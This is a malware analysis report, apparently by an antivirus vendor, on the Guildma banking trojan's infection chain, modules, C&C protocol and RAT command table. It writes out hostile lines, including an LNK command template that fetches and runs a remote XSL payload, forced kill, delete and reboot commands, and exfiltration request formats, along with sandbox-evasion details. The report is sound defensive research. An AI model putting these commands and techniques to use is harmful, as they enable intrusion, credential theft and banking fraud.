Deep Dive into Guildma Malware

For several months now, we have been tracking malware called Guildma. Guildma is powerful combination of a RAT (remote access tool), spyware, password stealer and banker malware, mainly distributed via malicious attachments in phishing email campaigns. 

The cybercriminals behind Guildma have primarily focused on targeting Brazilian users and services, but since May 2019 they have expanded their target pool and are now targeting more than 130 banks and 75 other web services around the world.

We estimate that the first versions of Guildma were created in 2015, based on the available clues in our analysis and previous research conducted on Guildma. Malware researchers have done some analysis of Guildma in the past, but only focused on the first stages of the malware. Our analysis provides detailed information about all of Guildma’s stages, module functionality, C&C servers, commands and a long list of targeted services and applications, as well as a description of the evolution of features. 

The malware authors have used large amounts of domains, various infection and stealing techniques, and programming languages (Delphi, JS, VBS,..) during Guildma’s long existence, but, on the other hand, they also used the same or very similar code patterns like encryption algorithm and seeds, URL path format, variables or file names. With these patterns, we have been able to track the entire campaign with high accuracy, even if some parts of the malware or modules have been changed.

Campaign overview

The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.

Originally, the campaign targeted Brazilian users and services, by spreading tailored phishing emails. However, we have protected more than 26,000 Avast users from 155,000 Guildma infection attempts, globally, this year.  

Protected Avast users from January – July, 2019.
More than 98% of the targeted users are located in Brazil.
Screenshot of one of the phishing emails, targeting Brazilian users. 

Examples of attachment file names (with translations):

Original nameTranslation / Info
anexo pedido.htm.zipattachment
dados unidas rent a

Stage zero: Hacked websites and PHP shell mailers

The phishing emails used to spread Guildma are mainly sent through shady rented or purchased websites, or using hacked websites, by installing or copying malicious PHP code, with mass mailing functions, to the website code. The malware authors usually use a custom PHP shell, based on a simple mail function with a specific header. 

This suspicious X-Mailer value is also heavily used in other spam campaigns, malicious mass mailer tools and webshell scripts. While the optional X-headers are rather suspicious, the content types and encodings are standard – both ISO-8859-1 (Latin 1 encoding) and Base64 are common for text and attachments, respectively.

Attached LNK file

The archive attached to the phishing email contains a malicious Shell Link (LNK) file, which as described above, is used as a downloader for the next stage.

The LNK file opens a minimized Windows Management Instrumentation Command-line tool (wmic.exe) using the Command Shell (cmd.exe) to download and execute a next stage XSL file with a malicious payload. (MITRE T1220 Squiblytwo Technique)

LNK Target format:

%ComSpec% /c start /MIN %SystemRoot%\\system32\\wbem\\wmic os get <random strings> /format:"<url_to_xsl_file>" && exit

The LNK comment field is filled with a fully random string, with a random length, and the Run field is always set to Minimized.

Other suspicious fields are: CreationTime, AccessTime and WriteTime. If they are filled, they are always set to 11/21/2010 (03:24:06) [UTC].

We spotted more than 4,800 unique malicious LNK samples with 280 hard coded domains since September 2018. The sample count slightly increased since April 2019 and since then, the daily count is approximately 50 unique samples.

Stats for malicious LNK samples

Examples of LNK file names:

Original nameTranslation / Info
nf-e00127532011181.lnkNF-e is an electronic invoice document used in Brazil
nota_fiscal_eletronica.0028170201827.lnkNF-e is an electronic invoice document used in Brazil
boletobradesco2786.pdf.lnkBoleto is payment method in Brazil

We also found an XSL file version that generates and executes the same command as the LNK files.

At the end of April 2019, the malware authors created a new LNK file version with an obfuscated target command and download URL occasionally pointing to the TOR network, which they probably did to avoid antivirus detections.

XSL file

SHA256: 1a89b4c8079d00b7f1575462a2cc7e5f9ac6d488abc5b167001ab676b62930b8

The main purpose of the included JavaScript payload is to download all of Guildma’s modules and execute the first stage DLL module using default Windows tools and applications.

The malicious JavaScript code is slightly obfuscated with the fromCharCode function or using public web-based obfuscators.

The deobfuscated download function uses the BITSAdmin tool to download the payload. The corresponding code, used up to version 138 of Guildma, is shown below:

The authors updated the XSL file in version 139 of Guildma and added another Base-64 encoding layer, decoded using the certutil application at the end of April 2019. 

Enhanced download function from version 139:

They also sometimes use simple obfuscation over parts of the Javascript code as of version 138, probably generated with free web-based obfuscator tools:

Suspicious variable and function names:

The malicious JavaScript contains many unique and unusual variable and function names, including Lucifer and Astaroth, and the authors use the same names for a long time, without changing them.

Variable namesFunction names
xLuciferxs, xCaverax, xVRXastaroth, pingadori,
sVarXEDRaz, raraiz, sdjkhiwewsw, kdcafex,
MaisShell, smaeVar
function radador(min, max)
function Bxaki(url, file)
function vgos(min)

Downloader URLs:

All the URLs are partially hard-coded and partially generated in JavaScript and the domains are changed almost every day. The authors renamed a download file extension to .zip.log from version 139.



For example:


We spotted version 139 of Guildma hosted on Github by a user named winsvrx. The account was created on March 29, 2019 and was actively maintained with almost 40 commits up until April 30, 2019, when the account was quickly removed by the Github security team after we discovered and reported it.

Github URL:


The authors then switched to Google Storage after the Github removal, and continued with active development and malware spreading. We also reported this to Google, and the bucket/service was removed. 

Google Storage URL:


The authors updated the botnet in version 140 and switched to a new Google Storage URL in June 2019:


Botnet version:

The first interesting variable, smaeVar, probably indicates a campaign version, release month or just directory names for different set of URLs. The malware authors used 03, 04, 06, 07, 08, 09 directories for the campaign hosted on Github and Google Storage.

The second variable, skvidro, indicates a version of the malware and as of the end of June 2019, it is version 140. 

The malware authors also change the download directory with every new version, stored in the sVarRaz variable.

Malicious domains: see Appendix C.1.

Module execution:

The first module (64) is executed using the regsrv32 tool, after all other modules are successfully downloaded.

The malware authors abused our binary file aswrundll.exe for this purpose at the end of 2018, but our developers quickly fixed it and this technique is no longer possible.

Downloaded modules:

The Guildma binaries are separated into various stages and modules. Some modules are simply encrypted and all modules are also Base64 encoded as of version 139 of the malware.

Download directory format:


The current campaign download directory is temporary, previously it was awsvideos and raptor.

Module file names format:


File names example:


Modules with GIF and JPG extensions are “encrypted” using the weak Shift-XOR algorithm based on seed.

Downloaded modules are encrypted with a couple of different seed values 0x457, 0x33f45263 (up to version 138) and 0xa2c99 (since version 139).

Generated XOR keys from seeds:




The first seed generated very weak keys, full of null bytes, which is not a very suitable value for XOR operations ;). The second seed 0x33f45263 has remained unchanged since the end of 2015.

Module flow graph:

Malware details:

All the core Guildma malware modules are written in Borland Delphi and they are probably based on well-known open source RATs like Delphi Remote Access PC, AmigoRAT or PureRAT, according to code patterns.

The string encryption/obfuscation algorithm was also used in other Delphi malware families, so the malware authors may have copied or purchased this part too.

Python representation of string encryption algorithm:

The malware does not use any kind of “master” configuration file or data structure and many important variables (URLs, paths etc.) are computed, encrypted and hard-coded to various places in the compiled binaries. Because variables, like module file names, correspond to previous stages, the authors must recompile all binaries and scripts every time they change, for example, the C&C domains. We assume they use automated source code pre-processing scripts.

Module 64 (Loader)

SHA256: 8d516dacdc00d76a44f987b654ffe39145eb02c5013b3dc504a3bf65d7e503cb

This is the first executed module that served as a loader for the next stage, module 98, and prepared data from two downloaded files (XA and XB files) for further usage.

The module 98 path is hard-coded and changes with every campaign. The export name “mangusbold” has been the same for the three versions (versions 137- versions 139).

Loading the XA and XB modules is realized using old 16bit kernel functions, like _lopen, _lread and _lclose.

We spotted an attempt to use a fake and invalid Avast certificate on module binaries in version 139. 

Module 98 (Loader)

SHA256: 9a8df74f32dbf64672745b2bb427410e49b1e53441d7b4ca32e8c82ac4d44557

This is the second module, and also used as a loader for the next stage. The main purpose is to merge the previously prepared XA and XB data blobs into one module, reconstruct the created module in memory and execute it.

Module XA+XB (Injector)

Module XA – the first part of the module binary:
SHA256: 37e87eac8138491630822e335e4cc74edbd6424b2f92ee3b1bee28423aa63b78

Module XB – the second part of the module binary:
SHA256: e1b08233100a573c6de711152bc894e0a612f26ddacce8e365514cdd6c968614

Merged module:
SHA265: 244b06da6f405b35579ce9643c08bc5420b460a254096ab1646a515c94ecc7c6

The primary purpose of this module is to inject the GX module into one of the targeted files. The default targeted file is a system application, userinit.exe. The second targeted file is part of the GAS Tecnologia protection tool, Warsaw.

The malware authors use a simple, common technique using the CreateProcess > SetContext > ResumeThread combo, where malicious code runs in the context of another process.

The injected module inside the userinit.exe process:

The whole process tree:

This module runs in an endless loop and watches the injection result through the module G window name, every 852 seconds. If the window is not found, the module performs a new injection.

Module GX (Injector)

SHA256: edba9b33cb49fca3302387ec019e676a4e022709e54a2945eff25ddf409ef98d

Module GX is a final loader for module G (core module), inside the injected process memory from the previous stage.

The module structure is almost the same as the previous module, in that it also includes the endless loop and the injection result check using the core module’s window name, but the malware authors applied easy obfuscation there.

Clean code without obfuscation:

The memory DLL loading, relocation and import table reconstruction code is based on a public BTMemoryModule created by Martin Offenwagner.

Module DWWN (RAT)

SHA256: ca7c94b5012c5285d466a5c27647b26106c8017e93172a4d092322c66f1d0fa9

The module DWWN uses two levels of C&C servers. Whenever the C&C has to be contacted and the address of the second-level C&C server is not discovered, a first-level C&C server (see Appendix E.1) is contacted at the address <first-level C&C domain>//09/dsct.txt.

The response may contain the second-level C&C server’s domain encrypted by a simple substitution cipher which performs the ROT-7 operation with the following alphabet (i.e. U is substituted with e, V with f, 9 with d etc.):


The number “09” in the path seems to be incremented with every new version. Note that the same C&C retrieval method is also used by data extractor, mailer and core module. The disassembly indicates that this is facilitated by a custom library, as the corresponding code differs in hard-coded lists of addresses only.

The events shown below have their names prefixed by a string Tmsodebriedgw (more specifically the objects themselves are prefixed). The module has three windows (A, B, and C), each with its own FormCreate event (<prefix><form>_<event>). Similarly, timers/threads have their own additional prefix msodebriedgwe (<prefix><form>_<timer prefix><label>Timer). For the sake of readability, we have omitted these prefixes and used reformatted names.

All the timers, that are children of Form A, and provide functionality if and only if xkill has not been run since startup. Another pattern, that will be prevalent even later, also emerges – every timer is disabled at its event start and enabled towards the end, unless noted otherwise.

Module object diagram

FormCreate – Form A

This is the main form that orchestrates all the functionality. At the beginning, 4 bytes are read from the PrintWindow API function, and client UID is prepared (<NETBIOS name>_<hex-encoded volume info>). Also, all the timers are disabled.

The window belonging to this form is hidden to a random position that is outside of the client’s monitor screen (the position is beyond the monitor’s resolution). Then the remaining two windows (or more specifically their respective forms) are initialized. The form also checks for a previous running instance by checking for a window name of a form <time ddmmyyyyddmmyyyy>. If such a window is found, the xkill action is performed (see A82::thread_proc command 0x276 for more details); otherwise the window is renamed to <time ddmmyyyyddmmyyyy> with values corresponding to the current client’s time.

Afterwards, the logging is started by enabling Timer A1 (logger). Also, the path to libraries directory, the clients UID and the name of its own window is logged. This kind of logging is added to the message with a timestamp and is appended to TMemo (multi-line textbox). If this textbox contains more than 3,000 lines, it is cleared.

FormCreate – Form B

The same trick, as in the case of Form A, is then used to hide the window – the window is positioned outside of the client’s monitor screen.

The window’s position is then logged through Form A in the format:

PosY<y coordinate>posiçăoX:<x coordinate>

FormCreate – Form C

The same trick, as in the case of Form A, is then used to hide the window – the window is positioned outside of the client’s monitor screen.

Similarly to Form B, the window’s position is formatted into a string y:<y coordinate>x:<x coordinate> and logged through Form A. The initial position is set to (19 777, 16 777). This position is later on changed to (17 660, 18 652) and logged again in the format

yy1: <y coordinate>xx1: <x coordinate>

Note that these locations are significantly beyond coordinates that are shown on any consumer-grade screen.

Afterwards, a Guildma web browser window is created using the TWebBrowser object which provides access to the web browser functionality of Microsoft’s Shell Doc Object and Control Library (SHDOCVW.DLL library). The name of this window is set to msodebridgwe_Navite. The window is then moved to a new position and again the position is logged in the format

PosC2222Y: <y coordinate>posiçăoC2222X: <x coordinate>

At the end, the browser is navigated to a blank page (about:blank).

During the execution, a number of the “stage” (numbers 1 to 6) is logged, again via Form A. These “stages” are:

browser window creation, setting width, setting height, repositioning of the window, position logging, about:blank.

Timer A1 (logger) – Form A

The functionality is directed by log files generated by the core module in Timer 14 (see Timer 14 for more details).

If a specific log file is found then its number is saved into a variable and a target_flag is saved for further use. Handles to windows (browser window, program manager/progman, and a browser-specific window) are written into labels msodebriedgweA1[1-3].

The only exception is \\hd3sys.log, which requires a buttonclass window to get the browser parent window. Others use the label msodebriedgweA10 to save the required handle that was saved into the log file.

The string [VS: <bot version> ]<log text>-> <date> <timestamp> is logged and the log is uploaded to the C&C server. At the end, Timers A2 and A4 are enabled and the log file, used at the beginning, is deleted.

Log file nameLog file numberTarget flagBrowserLog text
\\hd1sysa.log1xIT_IE_Internet Explorer<!ABRIUUUUU!>
\\hd2sysa.log2xST_IE_Internet Explorer<!ABRIU_OKOK!>
\\hd4sysa.log4xNE_IE_Internet Explorer<!ABRIU_TORETTO!>
\\hd5sysa.log5xCOOB_IE_Internet Explorer<!ABRIU_OKOK!>
\\hd5sysd.log5xCOOB_APP_Defined in log file<!ABRIU_OKOK!>
\\hd6sysa.log6xSEDI_IE_Internet Explorer<!ABRIU_OKOK!>
\\hd7sysa.log7xBB_IE_Internet Explorer<!ABRIU_OKOK!>
\\hd8sysa.log8xGF_NOR_IE_Internet Explorer<!ABRIU_OKOK!>
\\hd9sysa.log9xGF_TKN_IE_Internet Explorer<!ABRIU_OKOK!>
\\hd15sysa.log15xDIVS_IE_Internet Explorer<!ABRIU_OKOK!>
\\hd16sysa.log16xLIVRE_IE_Internet Explorer<!ABRIU_OKOK!>

Timer A2 (scout) – Form A

Similarly to Timer A1, this timer executes a working code if and only if xkill has not been run since the initialization. At first, this timer tries to close windows with the following names:

Mensagem da página da webTranslation: Message from the web
(default Internet Explorer alert window title)
Mensagem da p6gina da webDitto
MozillaDialogClassMozilla Firefox dialog window
Aviso de SegurançaTranslation: Security Warning
Alerta de SegurançaTranslation: Security Alert
#32770Class name of the Windows dialog box

The parent window’s class names are checked against the following list:

iefram, chrome, mozilla, BUTTONCLA, sunawtframe, HwndWrapper, ApplicationFrameWindow, Bradesco

If a match is found, this timer is not disabled (or more specifically is re-enabled after being disabled at the beginning). Otherwise a string

[VS: <bot version>]<!FECHOOOOOOU!>->

is appended to the log (again via Form A), the log is sent to the C&C server, and the xkill command is executed. Also, if the class name is not matched, the current time is saved into the label msodebriedgweA15.

Timer A3 (reporter) – Form A

At the beginning, a message msodebriedgweA3Timer is appended to the log. Then the value of the xfuso HTML element from the browser window in Form C is extracted. If this value is zero then the timer does nothing. Otherwise, a log entry of the form is created and sent to the C&C server. ID value is stored inside auid.log file created by G module.

<timestamp dd/mm/yy hh:nn:ss>
Versao com QRCODE Ativo.

Afterwards, a site, determined by the target_flag value, is loaded in the Form C browser window. The check verifies whether the following substrings are present in the target_flag (converted to lowercase) value.

Target FlagURL

Timer A4 (Thread starter A82) – Form A

The initial window detection is the same as for Timer A2, also followed by their closing. This timer also does not re-enable itself and creates a thread Thread A82. Similarly to Timer A2, the current time is saved into the label msodebriedgweA15.

Timer enologia6 (Thread starter A81) – Form A

Same as Timer A4, only the timer uses Thread A81 and msodebriedgweA14.

Thread A81

Depending on the inner state, a screenshot of the focused window, parent window, or Form B is made. The screenshot is saved to img<target_flag><UID>_dat_<timestamp><image_counter>.jpg. The image is then compressed with zlib, encoded with Base64. Its name is encoded with a custom algorithm (see Python code below) with a hardcoded seed (0x3f2); the result is also encoded with Base64. These two Base64 strings are joined together and encoded with Base64 and sent to the C&C server via a POST request:

<C&C domain>/?9=Base64(<encoded image name><encoded image data>)

Custom string encoding algorithm rewritten into Python:

Timer enologia6 is also enabled by this thread.

Encoded result examples:

Original string : test_string
Encoded (r=10)  : KnLmVnKnLmPnKnLnJnAnFmX
Encoded (r=23)  : XnYnJnXnYnDnXnYnWnNnSnL

Thread A82

At the beginning, Timer A4 is disabled, as it does not disable itself. Similarly to Timers A4 and enologia6, this thread attempts to close windows with specific names.

The target flag is set to puxa and a command is sent to the C&C server using the GET request:

<C&C domain>/?3=Base64(encode(<UID>cmd.html)encode(section3))

The function encode refers to the aforementioned combination of the custom encoding and Base64 encoding. The response uses the same encoding combination and may contain several command numbers separated by $, each command may have parameters separated by *.

The parsed command is then processed. The details are described in the table below:

Command hex valueDescription
0xD1Download a file from the C&C, save it as iewx.exe, and execute it.
0x3E7Download a file from the C&C and save it.
0x65If “xCOOB_APP_” target_flag is defined, send left mouse click to position
(<parameter 1>, <parameter 2>), or perform 0x6C command.
0x66Send keydown event for button <parameter 1> to the window.
0x67Send keydown event for character defined in <param 3> to the window.
0x68Find sunawtcanvas window and send keydown event defined in <parameter 1> to it.
0x69Find sunawtcanvas window and send keydown event for character defined in <parameter 3> to it.
0x6AFind sunawtcanvas window and set window position to (100, 100), and set both width and height to 100. Click twice in the window’s middle and send a character sequence defined in <parameter 3> to it.
0x6BFind sunawtcanvas window, click twice in the window’s middle and send a character sequence defined in <parameter 3> to it.
0x6CGet size of the foreground window, set cursor position defined to a position (<parameter 1>, <parameter 2>), and send left mouse button click to From B.
0x6DSend a character sequence defined in <parameter 3> to the active window via custom PostMessage function which could set up Windows modifier keys (CTRL, ALT, SHIFT) state correctly.
0x6EClick in the active window and send a character sequence defined in <parameter 3> via custom PostMessage function which could set up Windows key state correctly.
0x6FSend mouse click and keydown event defined in <parameter 1> to window
0xD2Set Timer A4 interval to value defined in <parameter 1>
Set Timer enologia6 interval to value defined in <parameter 2>
Set screenshot JPG compress quality to value defined in <parameter 3>
0x3Set the screenshot counter to 0.
0x14DSet the screenshot counter to 0 and enable Timer enologia6.
0x14ASet the screenshot counter to 0 and disable Timer enologia6.
0x12CSet Form B as a parent window, log its position in the format
PosC1Y<y coordinate> posiçăoC1X:<x coordinate>
Set Form C background image, add 64 and 64 to the top position.
Log the new position in the form PosC2222Y<y coordinate> posiçăoC2222X:<x coordinate> and after a while set the Form B window to full screen.
Also log its positionPosC1Y<y coordinate> posiçăoC1X:<x coordinate>Set make_screenshot variable to 1.
Append string [VS: <malware version>]<!POKO-LOKO!-> to the log and upload it to the C&C server.
0x12EDownload custom file <parameter 3> from the C&C server.
0x12DEnable Timer A3 and append [VS: <malware version>]<!CATANDO!>-> (which means CATCHING) to the log and send it to C&C server.
Note that only <malware version> is a variable, the rest is a literal string.
0x13Send keyup event with <parameter 1>.
0xFASet screenshot JPG compress quality to <parameter 3> (default value is 7).
0xFBSet Form C width to <parameter 1> and height to <parameter 2>.
0x26CEnable the function that takes screenshots from a defined rectangle.
0x26ESet Form C as the foreground window.
0x26DDisable the function which makes screenshots from a defined rectangle
0xBSave unknown data to file pblq<time>.ini
0x271Set Form A width to <parameter 1> and height to <parameter 2>.
0x276Perform xkill action:
Disable all Form A timers.
Close all DWWN module related forms windows (A, B, C).
Perform TaskKill (see Appendix A.3).
0x277Close Form A.
0x27FExecute commands: cmd /k shutdown -r -t 0 -f cmd /k shutdown -r -t 1 -f cmd /k shutdown -r -t 0 -f
0x280Saves unknown data to file pblqxx<time>.ini and execute same reboot command as command 0x27F.
0x281Delete files pblqxx<time>.ini, pblqrr<time>.ini, pblq<time>.ini
0x282Save unknown data to the file pblqrr<time>.ini
0x285Enable (disabled by default) the function that takes screenshots of current window.
0x286Disable the function that takes screenshots of current window.
0x287Set form A window to full screen and move it to the position (0, 0).
0x288Enable (disbled by default) the function that takes screenshots of new parent windows.
0x289Disable the function that takes screenshots of new parent window.
0x28AGet handle window form MozillaWindowClass if found.
0x28BSet the parent window position to (0, 0)
0x28CWrite down malware version and client uid to the file logpak. Load content of auid.log and auidv137xx.log. Send the data to the main the C&C server.
0x28EGet list of all windows and upload it to the C&C server.
0x28FGet list of child windows and upload it to  the C&C server.
0x290Get list of windows where handle window is defined in <parameter 1> and upload it to the C&C server.
0x291Find window defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses SendMessage API only.
0x292Find window defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses both SendMessage and PostMessage API.
0x293Find child window of the window name defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses SendMessage API only.
0x294Find child window of window name defined in <parameter 3>, click on it and send keydown defined in <parameter 1>. Uses both SendMessage  PostMessage API.
0x295Send VK_RETURN to the window handle defined in <parameter 1>.
0x296Set window handle variable to a value defined in <parameter 1>.
0x297Set target_flag to:
if <parameter 1> == 1 then set “xIT_APP_”
if <parameter 1> == 2 then set “xIT_IE_”
if <parameter 1> == 3 then set “xIT_CHR_”
if <parameter 1> == 4 then set “xIT_FF_”
if <parameter 1> == 5 then set “xST_IE_”
if <parameter 1> == 6 then set “xST_CHR_”
if <parameter 1> == 7 then set “xST_FF_”
if <parameter 1> == 8 then set “xNE_APP_”
if <parameter 1> == 9 then set “xNE_IE_”
if <parameter 1> == 10 then set “xNE_CHR_”
if <parameter 1> == 11 then set “xNE_FF_”
if <parameter 1> == 12 then set “xCOOB_IE_”
if <parameter 1> == 13 then set “xCOOB_CHR_”
if <parameter 1> == 14 then set “xCOOB_FF_”
if <parameter 1> == 15 then set “xCOOB_APP_”
if <parameter 1> == 16 then set “xSEDI_IE_”
if <parameter 1> == 17 then set “xSEDI_CHR_”
if <parameter 1> == 18 then set “xSEDI_FF_”
if <parameter 1> == 19 then set “xBB_IE_”
if <parameter 1> == 20 then set “xBB_CHR_”
if <parameter 1> == 21 then set “xBB_FF_”
if <parameter 1> == 22 then set “xGF_NOR_IE_”
if <parameter 1> == 24 then set “xGF_NOR_CHR_”
if <parameter 1> == 25 then set “xGF_NOR_FF_”
if <parameter 1> == 26 then set “xGF_TKN_IE_”
if <parameter 1> == 27 then set “xGF_TKN_CHR_”
if <parameter 1> == 28 then set “xGF_TKN_FF_”
if <parameter 1> == 29 then set “xDIVS_IE_”
if <parameter 1> == 30 then set “xDIVS_CHR_”
if <parameter 1> == 31 then set “xDIVS_FF_”
0x298Get text from msodebriedgweA11 label and load window handle variable into it.
0x299Find MozillaWindowClass window and its sibling window of Program Manager, append [VS: <malware version>]<!CONCERTOU APP!>-> to the log and upload it to the C&C server.
Note that only <malware version> is a variable, the rest is a literal string.
0x29AIt may change address of main C&C address to http://<main C&C>/0<number>, the variable <number> may range from 2 to 7.
0x29BCall SetParent API function for switch desktop window to the new parent window.
0x29CSet Form C window position to (11110, 11110).
0x29DTake screenshot and create Base64 encoded JPG image from a rectangle defined in parameters 1-4.
Set up parameters for POST request (data, referrer, user-agent, connection and x1, x2 coordinates) and send created image to the C&C server.
Append [VS: <malware version>]<!QR Buscando>-> to the log and upload it to the C&C server.
Note that only <malware version> is a variable, the rest is a literal string.
0x29EFind the window name defined in <parameter 3> via hWndParent and its sibling window of Program Manager, append [VS: <malware version>]<!AJUSTE HANDLE!>-> string to log and upload it to the C&C server.
Note that only <malware version> is a variable, the rest is a literal string.
0x29FFind the window name defined in <parameter 3> via hWnd and its sibling window of Program Manager, append [VS: <malware version>]<!AJUSTE HANDLE!>-> string to log and upload it to the C&C server.
Note that only <malware version> is a variable, the rest is a literal string.
0x2A0Find window name defined in <parameter 3> in all processes and its sibling window of Program Manager, append [VS: <malware version>]<!AJUSTE HANDLE!>-> string to log and upload it to C&C server.
Note that only <malware version> is a variable, the rest is a literal string.

Module DX (RAT)

SHA256: d22f0ed199a6e713079da3be83eee4df504f5d6cde23fee483ca4d9660603ff3

The DX module has the same source code as the DWWN module, but it is compiled as an EXE file and contains a TLS Directory. The reason for having the two same modules (DLL and EXE version) is because they have different use cases. The core module injects DX module into a predefined process or loads the DWWN module, like a dynamic library.

Module G (Core module)

SHA256 : 53e91dd21afd39562a2b43b4938af0698a2d727b995fb4eae3ebeed90a8b81ee

Module G is the main module that orchestrates all the auxiliaries. It handles application tracking, telemetry retrieval, C&C communication, and module injection. The functionality is very diverse, ranging from bot, banker to keylogger and password-stealer.

The module is protected by sandbox checks, OS language checks and anti-emulation tricks.

Throughout the execution, it frequently performs checks for opened windows, mostly looking for banking applications or PuTTY. These detections trigger injections, screenshots, key hooking and “flag” file creation. All these actions are orchestrated by a vast array of interacting timers with a rather complicated hierarchy.

Initialization phase

The initialization phase is unusually extensive and could be roughly divided into three steps that are executed in the presented order. This phase starts with the encryption keys being loaded by the modules, followed by the first step.


The module checks whether the NETBIOS name or Volume ID matches one from a hard-coded table (see table below). These values correspond to names and IDs of prevalent sandboxing solutions and emulators. At this step, the module also verifies whether the computer is running in Portuguese which matches the most prevalent target location – Brazil.

Table of NETBIOS names and their corresponding Volume IDs that are being checked:

NETBIOS nameVolume ID

If these checks are passed, the module proceeds to the following steps:


The self-initialization step starts with an initialization of a global variable containing a path to the working directory %user%\Public\Libraries\raptor, all the relative paths mentioned in the following paragraphs will refer to this directory. The module’s inner state, consisting of several data structures, will also be initialized by default values.

The module checks whether there is another instance already running by checking several files containing information about the module’s inner state. More specifically, a file named trusted.certs (%appdata%\LocalLow\Sun\Java\Deployment\security\trusted.certs) is checked for a string called If the string is found, a file named xconf2.log is created. Otherwise, a file named xconfon.log is created. Both of these files are located in the working directory.

This step ends up with the process assigning high priority to itself and subsequently hiding the window.


During this step, the module looks for windows with the names listed below:

"Kodecsound093", "sqlitexz093", "loterprint093", "mactonshix093", ”MidiaMix093”, "Astarothys093", "MicroxTecnoLogx093", "GoufemaLiamesLogx093", "WeedMindW093", "zemtecks093", "Lamashtu093", "ShichiFukujin093", "Carontex093", "SHEMHAZAIx093", "SABNOCKX093", "haborym093", "damensosteal093", "cebruthiusx093", "UnrealTwinsw093", "winmodskwx093", "mxcompwss093", "hwasrhela093", "kvxwswdealx093", "marxvxinhhm093", "srsysddirrx093", "mxgetronicosxy093", "dwqiopawsamazon093”, "lu769tsla093", "Lrdsnhrxxfery093", "rakpat0rpcack093", “hillwd763free093”

These windows correspond to already running instances. The processes running windows with these names will be terminated by the module. Note that the suffix 093 seems to vary between versions. Thus, it could also serve as the malware’s version information.

Afterwards, several paths are checked for specific files, triggering a sequence of commands if they are found. If the file <malware_version>vrxi.log does not exist, the following files are checked. If at least one file from the set is found, the corresponding command sequences is triggered:

Paths (triggering command seq. 1)Command sequence 1
C:\ProgramData\pythonx\kodecsoundgwwn.logtaskkill /f /im regsvr32.exe

C:\ProgramData\paladium\sqlitexzg.giftaskkill /f /im unins000.exe
C:\ProgramData\sysdirb\srsysddirrxhh.dlltaskkill /f /im aswRunDll.exe

Paths (triggering command seq. 2)Command sequence 2
C:\ProgramData\sysdirb\auid.logcmd /k del /q /s /f C:\ProgramData\sysdirb & exit
C:\ProgramData\nulls\auid.logcmd /k del /q /s /f C:\ProgramData\nulls & exit
C:\ProgramData\xnull\auid.logcmd /k del /q /s /f C:\ProgramData\xnull & exit
C:\Users\Public\Libraries\libs\auid.logcmd /k del /q /s /f C:\ProgramData\libs & exit

cmd /k rd /s /q C:\ProgramData\sysdirb & exit

cmd /k rd /s /q C:\ProgramData\nulls & exit

cmd /k rd /s /q C:\ProgramData\xnull & exit

cmd /k rd /s /q C:\ProgramData\libs & exit


The module also checks for installed software (antiviruses and “interesting” applications) and it is launched if and only if the file <malware_version>vrxi.log does not exist. These checks are done by checking folders in C:\Program Files and C:\Program Files (x86). If software from a hard-coded database is found, a corresponding alias will be added to the message for the C&C server. This database is described in the two tables below:

PathsAlias 1Alias 2
C:\Program Files\GbPluginGBPLUGGB
C:\Program Files (x86)\GbPluginGBPLUG
C:\Program Files\Diebold\Warsaw\unins000.exeBOLDBLD
C:\Program Files\GbPlugin\bb.gpcBemBOMB2
C:\Program Files (x86)\GbPlugin\bb.gpcBemBOM
C:\Program Files\GbPlugin\cef.gpcCxPretaB4
%user%\AppData\Local\Aplicativo Itau\itauaplicativo.exeCxPreta
C:\Windows\Temp\Diebold\Warsaw\upd\uni\ APP-APPB5
C:\Program Files (x86)\AppBrad\AplicativoBradesco.exeLaranja
C:\Program Files\AppBrad\AplicativoBradesco.exeBREDI-APPB6
C:\Program Files (x86)\Scpad\scpLIB.dllBREDI-APP
C:\Program Files\Banco do BrasilNEB1
C:\Program Files(x86)\Banco do Brasil

AV vendor foldersAlias
Avast V1

This information is serialized into a telemetry string:

<NETBIOS name>_<Volume info>-:-<OS version>-:-<Malware version>-:-<Path to module G>-:-<Path to module 64>-:-<OS architecture>-:-<Aliases of detected SW>-:-<Texts from windows>-:-<Language identifier>

This string is then encoded with Base64 and sent in a GET request to the C&C server. Here’s a shortened example of the request:

hxxp://<number>/?<time1>=<time2>&1=<Base64 telemetry string>

Variables time1 and time2 are formed from Delphi time formatting strings “mshhddnnssmm” and “hhmsddnnss” respectively; the variable number may vary from 1 to 9.

Core functionality

If none of the interesting applications is found during fingerprinting, the module will inject data into a process via process hollowing. More specifically, the data saved in a file named rakpat0rpcacke.jpg (module E – mailer loader) and is transferred into a memory stream, which is in turn injected into a new instance of one of the following processes:

C:\Program Files\Diebold\Warsaw\unins000.exe

Interestingly, module E is launched on a desktop screen, likely one that is not displayed to the user, with the name:


Afterwards, two more modules are loaded. They are contained in files called rakpat0rpcacka.jpg and rakpat0rpcackb.jpg (NirSoft 3rd party modules) and their content is injected into another instance of the process used earlier, again via process hollowing. This process is created with the following parameters:

Command line: <path> /stext \raptor\xmda_<NETBIOS name>_<Volume ID>.mod
Application: <path>

The first file contains a module that isn’t present in more recent campaigns, while the second one corresponds to NirSoft’s WebBrowserPassView (a recovery tool for passwords stored in a browser).

This module uses the same two-level C&C server architecture, the first-level C&C servers are listed in Appendix A.1, as the module DWWN.

In short, an HTTP request is sent to a URL <first-level C&C domain>//09/dsct.txt, the response contains a second-level C&C domain that is encrypted by a custom substitution cipher. Afterwards, a POST request is sent to this server with Base64 encoded data consisting of Base64 encoded contents of the aforementioned file, which was used to create a process into which the two modules were injected, and a Base64 encoded path to this file.

At this point, several files are created — a log file <malware_version>guild.log and a configuration file pblqxx<time>.ini (if pblqrr<time>.ini does not exist).

The rest of the functionality is implemented via multiple timers named _Trakpat0rpcackA_rakpat0rpcackA_<number>Timer, and two handlers for events KeyReleased and MouseReleased. For the sake of simplicity, we will refer to them from now on as Timer <number>. Interestingly, nearly all these timers disable themselves during the event processing. Naturally, they are re-enabled after the event’s purpose is finished. Note that several timers have been omitted as they use empty events, these will be denoted as null stubs. These timers have their default interval noted by their name in the respective section; however, this value changes often and sometimes it may by multiple events.

Timer interactions: green arrow – enables, red arrow – disables, green frame – enabled after initialization.
Note that some of these arrows may be conditional.

